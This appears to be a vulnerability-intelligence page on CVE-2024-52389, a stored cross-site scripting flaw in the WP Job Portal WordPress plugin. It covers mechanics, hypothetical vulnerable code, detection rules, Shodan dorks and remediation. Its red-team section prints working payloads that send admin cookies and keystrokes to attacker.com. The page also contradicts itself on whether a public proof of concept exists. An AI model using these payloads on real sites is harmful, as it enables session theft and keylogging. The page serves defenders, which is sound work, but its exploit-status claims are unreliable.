☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpjobportal logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-52389

CVE-2024-52389 Cross-Site Scripting in Wpjobportal
📅 PUBLISHED: 2024-11-18 22:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-52389 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Job Portal WordPress plugin (versions <= 2.2.0). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users (including administrators) when they view the affected page. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network access, low attack complexity, required privileges, and user interaction. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher.
  • User Interaction (UI): Required (R) – The victim must visit the affected page.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS and the lack of a patch make it a persistent threat for affected sites.

Deep Dive & Mechanics

The vulnerability exists in the wp-job-portal plugin, specifically in the handling of user input that is later displayed on the page. The plugin fails to sanitize or escape input fields (likely job application forms, custom fields, or user profile data) before storing them in the database. When an administrator or other user views the page containing this stored data, the injected script executes in their browser context.

Attack Flow:

  1. An attacker with contributor-level access logs into the WordPress admin panel.
  2. The attacker navigates to a vulnerable input field (e.g., job title, description, or custom field).
  3. The attacker injects a malicious payload, such as <script>alert('XSS')</script>.
  4. The payload is stored in the WordPress database without sanitization.
  5. When an administrator or other user views the page (e.g., job listing or dashboard), the script executes.
  6. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses()), allowing raw HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for stored XSS in WordPress plugins.

Vulnerable Code (wp-job-portal <= 2.2.0):

<?php
// In a template file or shortcode handler
echo $job_title; // Direct output without sanitization
?>

Patched Code (Hypothetical):

<?php
// Properly escape output
echo esc_html( $job_title );
?>

The patched version would use esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress installation with WP Job Portal plugin version <= 2.2.0.
  • A user account with contributor-level privileges or higher.

Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to a vulnerable page (e.g., wp-admin/admin.php?page=wp-job-portal-jobs).
  3. In a text field (e.g., job title), enter the following payload:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the job listing.
  5. When an administrator views the job listing, the script executes and sends the admin's session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/log?key=' + e.key);
}
</script>

Blue Team

Detection:

  • Monitor for unusual input patterns in job portal fields (e.g., <script>, onerror=, javascript:).
  • Use Web Application Firewall (WAF) rules to block common XSS payloads.
  • Review WordPress user activity logs for suspicious edits by low-privilege users.

Hunting:

  • Search the WordPress database for stored XSS payloads:
    SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
    SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
    
  • Check for unexpected outbound connections from the WordPress server to unknown IPs.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to attacker-controlled domains containing cookie= or key= parameters.
    • Unusual referrer headers from the WordPress admin panel.
  • Host:
    • Presence of <script> tags in the wp_postmeta or wp_posts database tables.
    • Modified job portal entries with embedded JavaScript.
  • File:
    • Suspicious entries in WordPress debug logs (if enabled) showing XSS attempts.

Detection Engineering

YARA Rule

rule CVE_2024_52389_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-52389"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-52389 Stored XSS in WP Job Portal
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WP Job Portal plugin database entries
author: Valters IT
date: 2025-04-17
logsource:
    category: application
    product: wordpress
detection:
    selection:
        - meta_value|contains: '<script>'
        - meta_value|contains: 'onerror='
        - meta_value|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52389 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"cookie="; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to business operations.
  2. Restrict user roles – Only grant contributor access to trusted users.
  3. Apply a Web Application Firewall (WAF) with rules to block XSS payloads (e.g., ModSecurity with OWASP CRS).
  4. Monitor logs for suspicious activity in the job portal.

Long-Term Fix:

  • Since no patch is available, consider migrating to an alternative job portal plugin that is actively maintained.
  • If the plugin is essential, implement a custom patch by adding output escaping to all template files (e.g., esc_html(), esc_attr()).
  • Regularly audit WordPress plugins for vulnerabilities using tools like WPScan.

Valters IT – Securing digital frontiers, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Job Portal"
http.html:"wp-job-portal"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-52389/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.